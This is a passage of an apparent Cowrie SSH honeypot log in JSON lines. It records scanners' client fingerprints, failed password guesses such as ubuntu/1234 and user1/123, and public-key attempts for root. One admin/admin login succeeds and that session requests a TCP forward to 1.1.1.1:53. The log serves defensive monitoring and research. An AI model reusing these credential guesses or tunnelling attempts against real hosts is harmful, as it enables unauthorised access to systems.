9","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:28:44.935948Z","src_ip":"103.91.246.101","session":"f8bd2338b24b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:28:45.873163Z","src_ip":"103.91.246.101","session":"f8bd2338b24b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:28:47.104423Z","src_ip":"103.91.246.101","session":"f8bd2338b24b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34872,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c7ddf3c883d","protocol":"ssh","message":"New connection: 80.94.92.186:34872 (10.17.0.5:22) [session: 3c7ddf3c883d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:28:49.061390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:28:49.140744Z","src_ip":"80.94.92.186","session":"3c7ddf3c883d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:28:49.338822Z","src_ip":"80.94.92.186","session":"3c7ddf3c883d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:28:52.187147Z","src_ip":"80.94.92.186","session":"3c7ddf3c883d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:28:53.537660Z","src_ip":"80.94.92.186","session":"3c7ddf3c883d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":33234,"dst_ip":"159.203.135.109","dst_port":22,"session":"a34944d6c508","protocol":"ssh","message":"New connection: 103.91.246.101:33234 (159.203.135.109:22) [session: a34944d6c508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:41.926244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:41.930397Z","src_ip":"103.91.246.101","session":"a34944d6c508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:42.145546Z","src_ip":"103.91.246.101","session":"a34944d6c508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:43.036333Z","src_ip":"103.91.246.101","session":"a34944d6c508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:44.254252Z","src_ip":"103.91.246.101","session":"a34944d6c508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.219.62.79","src_port":52564,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7ad2f91e4bf","protocol":"ssh","message":"New connection: 91.219.62.79:52564 (10.17.0.5:22) [session: e7ad2f91e4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:45.785135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:45.793158Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:45.876934Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:cf:c2:23:f8:3d:bf:0d:e5:87:31:ed:0e:47:4f:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCojxJJBNt2PUsOx3/F3OcTxfOjDswo34L2ABBAAwX3tDZai077Gn0illgjKUS4vWdlLXtxgELdN2nWKf9RM8HE1udZk7m93iPxgT/6EVnUc+HI+8novVRpN2yPvTRnGpuh+i1jFCdR/PmLGJDoKI0EwoAEFQXE+MXsEaksN6CYZHz6COM0amGvcWnVL2tDomXh/lWYzd9CifMTEmhGlrKJrNmc0Xr3v3NrJnE5f8aEfbIvSPSYV7+tnaSm5+5Jk6HAQ+RR8yJweON+++3CBovhOetiFqDDxcGXYfMYcxSBq6NrKW0G5o/EQqRvCeZQ15qtG7KADe4JDUw/OwcmZMyf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:cf:c2:23:f8:3d:bf:0d:e5:87:31:ed:0e:47:4f:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.273192Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:cf:c2:23:f8:3d:bf:0d:e5:87:31:ed:0e:47:4f:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCojxJJBNt2PUsOx3/F3OcTxfOjDswo34L2ABBAAwX3tDZai077Gn0illgjKUS4vWdlLXtxgELdN2nWKf9RM8HE1udZk7m93iPxgT/6EVnUc+HI+8novVRpN2yPvTRnGpuh+i1jFCdR/PmLGJDoKI0EwoAEFQXE+MXsEaksN6CYZHz6COM0amGvcWnVL2tDomXh/lWYzd9CifMTEmhGlrKJrNmc0Xr3v3NrJnE5f8aEfbIvSPSYV7+tnaSm5+5Jk6HAQ+RR8yJweON+++3CBovhOetiFqDDxcGXYfMYcxSBq6NrKW0G5o/EQqRvCeZQ15qtG7KADe4JDUw/OwcmZMyf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.276753Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:a6:b6:4e:57:52:0e:60:a9:fa:9b:35:9b:a5:20:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvHMsjkBbNjZb/fw0rgX5pvrFeg5vNgxQ8VXuJTzaZgTcivG8/TsuclqlDxLltSNWDrilir3mHmSA2tEkNZgCLqD+gVzu0cZH98B5u35topoOacH5MVq+1yWTKhExWh0KJz2P+OPBVjdegSduNxzquF+4KxS76A3aoAgAlK7dI09XR37QmnP4OSfrwckd5C2bwuJ71Af7m1ywf0jPhwIHjOQ9VhcIVWxqS+WX2I/cn3r0Z1owtrYFCmoOVyWJgNRpUFsDXorXyLYX1xqOS9SbLAMmsQlX5QnNAl/UW6dPvB6zbU7/OEkoRX4zYNQwfAtguQ4QGLX0f9n0emj9m0Be/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:a6:b6:4e:57:52:0e:60:a9:fa:9b:35:9b:a5:20:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.361360Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:a6:b6:4e:57:52:0e:60:a9:fa:9b:35:9b:a5:20:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvHMsjkBbNjZb/fw0rgX5pvrFeg5vNgxQ8VXuJTzaZgTcivG8/TsuclqlDxLltSNWDrilir3mHmSA2tEkNZgCLqD+gVzu0cZH98B5u35topoOacH5MVq+1yWTKhExWh0KJz2P+OPBVjdegSduNxzquF+4KxS76A3aoAgAlK7dI09XR37QmnP4OSfrwckd5C2bwuJ71Af7m1ywf0jPhwIHjOQ9VhcIVWxqS+WX2I/cn3r0Z1owtrYFCmoOVyWJgNRpUFsDXorXyLYX1xqOS9SbLAMmsQlX5QnNAl/UW6dPvB6zbU7/OEkoRX4zYNQwfAtguQ4QGLX0f9n0emj9m0Be/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.364815Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:ce:40:a0:ea:49:02:63:bc:10:82:29:8f:39:ed:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCw5ieEVxkqAw7Ug29gADDE7qjJFeqfeUnWr3dqmWafF2MISaLhNHedGXX+B2Ty3/MK3ZCxkQILiFvD4GcrLKiWj5tH1WR58mX1E0v8fIH3UHwtscpIzfhR+WvfvcACj55edwWQ0YfQ93uvoyvEOLP5AT0y8tQhEZsmrZR/Ksv12Rt5Z94qLHPN6CRxhYYO53nKgKe+WCbigyU+2hmjW/AIYwoiBixkYq36bJdRGsnG6bmCrohmaB5RuI6u9u04JLxEQm03EczDnSgJq3aPzuLz+5rO6CLarOkwD+AZmf+2JW/YRFkjdz8y84mWYGX9aS6NBiRcLspHHEPqrWzSD6N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:ce:40:a0:ea:49:02:63:bc:10:82:29:8f:39:ed:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.449148Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:ce:40:a0:ea:49:02:63:bc:10:82:29:8f:39:ed:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCw5ieEVxkqAw7Ug29gADDE7qjJFeqfeUnWr3dqmWafF2MISaLhNHedGXX+B2Ty3/MK3ZCxkQILiFvD4GcrLKiWj5tH1WR58mX1E0v8fIH3UHwtscpIzfhR+WvfvcACj55edwWQ0YfQ93uvoyvEOLP5AT0y8tQhEZsmrZR/Ksv12Rt5Z94qLHPN6CRxhYYO53nKgKe+WCbigyU+2hmjW/AIYwoiBixkYq36bJdRGsnG6bmCrohmaB5RuI6u9u04JLxEQm03EczDnSgJq3aPzuLz+5rO6CLarOkwD+AZmf+2JW/YRFkjdz8y84mWYGX9aS6NBiRcLspHHEPqrWzSD6N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.452296Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:72:ac:05:76:22:c3:3a:d3:d7:bb:62:9f:ac:b9:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoqetoC8JORywWSQxHYolwwAgoOIBld5AZtbNWU7+RB5wv8L6MI8cJMr+dLKfzWDl4wcLoQsN4M2SjzJwrO6MKxaCGWAryrv66Du/y6SHTYwchGnu51Qjl7b5LU0+V+xD0NAWGD5cwyP41309GTnHuUoLYnpkk9SDYyPhR4NZv4cl0epiCQQAU8fYydoIZwrX4tFxc/FEUTrRigw/POxYS2YqcTLpPh9BymZSCoT8SaXGqR+3umw6jdpfHKmwuCktyGgN1mEx7lYMqRIKbp5hsIVL0/HjPo288jfSBm87ck9FxOLPa7WhXLQtqSsz0n2PgCp7gAJ30mxzPSXPaB9K1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:72:ac:05:76:22:c3:3a:d3:d7:bb:62:9f:ac:b9:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.540859Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:72:ac:05:76:22:c3:3a:d3:d7:bb:62:9f:ac:b9:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoqetoC8JORywWSQxHYolwwAgoOIBld5AZtbNWU7+RB5wv8L6MI8cJMr+dLKfzWDl4wcLoQsN4M2SjzJwrO6MKxaCGWAryrv66Du/y6SHTYwchGnu51Qjl7b5LU0+V+xD0NAWGD5cwyP41309GTnHuUoLYnpkk9SDYyPhR4NZv4cl0epiCQQAU8fYydoIZwrX4tFxc/FEUTrRigw/POxYS2YqcTLpPh9BymZSCoT8SaXGqR+3umw6jdpfHKmwuCktyGgN1mEx7lYMqRIKbp5hsIVL0/HjPo288jfSBm87ck9FxOLPa7WhXLQtqSsz0n2PgCp7gAJ30mxzPSXPaB9K1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.544495Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:2c:69:9f:56:a0:aa:57:f4:19:d4:f8:23:25:78:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwvJ1rNQw+B8IXmm7+wfcMJ/2iwwqhtpzcaqmeHluJIVWseGgVRJMlRFmsn4MMe0aYshJhZ53bMIXa5BBmUuszCgOdLcgf8UbYX49AneM0FS4a4r+KtcXy6HqYDyQCJTqWR/RNjREItV3EP35vL7WzyGgQgNkSzd4czq5cH9n08yKUhZQafKQA9ateMCk3NqmgeOJqoSlVsZYlN1Uqg/lUYv+w4g67ZrMrWMzjcmTOrUYctj3FlgCrO4T1iO9+AYeuEIiXjmgCpSusGx7RKDTDUM6xvwLXRM28ABi9+CkE2A61/7Av8vEfNfNuoxBXlyBRmM10fVFCzIjuWnED7GpXILypSbDSnx49yuaq1XYQjS+MJ68H0AiJRU/sXAQeI0iypyOZKDeWwg3nThPW2resZZ4+M14ENtnEnz5p3ndh/BSpRRHRm3AhsPE9AKnQg9ykHwS5NKMpR71+zYazK2DtiG6eBGOkwwL6/sBaPI+t3TSmn8bZepYB9DSi2hNGkx8Jblvno4or4AbMNl4VAeFd1MmJvytt7/nXDGDmr1apsv2vO87IFGuAsGBjKryo3oreqv+vUG6huKXjpExCHPclyYnhxXJo4Gm4SY9wyserA8xWmcYkCHWnOOZrHY35XdhaRrxB2kQiqnmJbiQfeFCyPj6IKk+kJNMhkqtD3Ndr1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:2c:69:9f:56:a0:aa:57:f4:19:d4:f8:23:25:78:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.627797Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:2c:69:9f:56:a0:aa:57:f4:19:d4:f8:23:25:78:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDwvJ1rNQw+B8IXmm7+wfcMJ/2iwwqhtpzcaqmeHluJIVWseGgVRJMlRFmsn4MMe0aYshJhZ53bMIXa5BBmUuszCgOdLcgf8UbYX49AneM0FS4a4r+KtcXy6HqYDyQCJTqWR/RNjREItV3EP35vL7WzyGgQgNkSzd4czq5cH9n08yKUhZQafKQA9ateMCk3NqmgeOJqoSlVsZYlN1Uqg/lUYv+w4g67ZrMrWMzjcmTOrUYctj3FlgCrO4T1iO9+AYeuEIiXjmgCpSusGx7RKDTDUM6xvwLXRM28ABi9+CkE2A61/7Av8vEfNfNuoxBXlyBRmM10fVFCzIjuWnED7GpXILypSbDSnx49yuaq1XYQjS+MJ68H0AiJRU/sXAQeI0iypyOZKDeWwg3nThPW2resZZ4+M14ENtnEnz5p3ndh/BSpRRHRm3AhsPE9AKnQg9ykHwS5NKMpR71+zYazK2DtiG6eBGOkwwL6/sBaPI+t3TSmn8bZepYB9DSi2hNGkx8Jblvno4or4AbMNl4VAeFd1MmJvytt7/nXDGDmr1apsv2vO87IFGuAsGBjKryo3oreqv+vUG6huKXjpExCHPclyYnhxXJo4Gm4SY9wyserA8xWmcYkCHWnOOZrHY35XdhaRrxB2kQiqnmJbiQfeFCyPj6IKk+kJNMhkqtD3Ndr1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.631293Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:29:46.715408Z","src_ip":"91.219.62.79","session":"e7ad2f91e4bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47912,"dst_ip":"10.17.0.5","dst_port":22,"session":"10cd8c199d73","protocol":"ssh","message":"New connection: 87.251.64.176:47912 (10.17.0.5:22) [session: 10cd8c199d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:05.322176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:05.336006Z","src_ip":"87.251.64.176","session":"10cd8c199d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:05.434935Z","src_ip":"87.251.64.176","session":"10cd8c199d73","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:05.736289Z","src_ip":"87.251.64.176","session":"10cd8c199d73","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:05.845745Z","session":"10cd8c199d73","protocol":"ssh"}
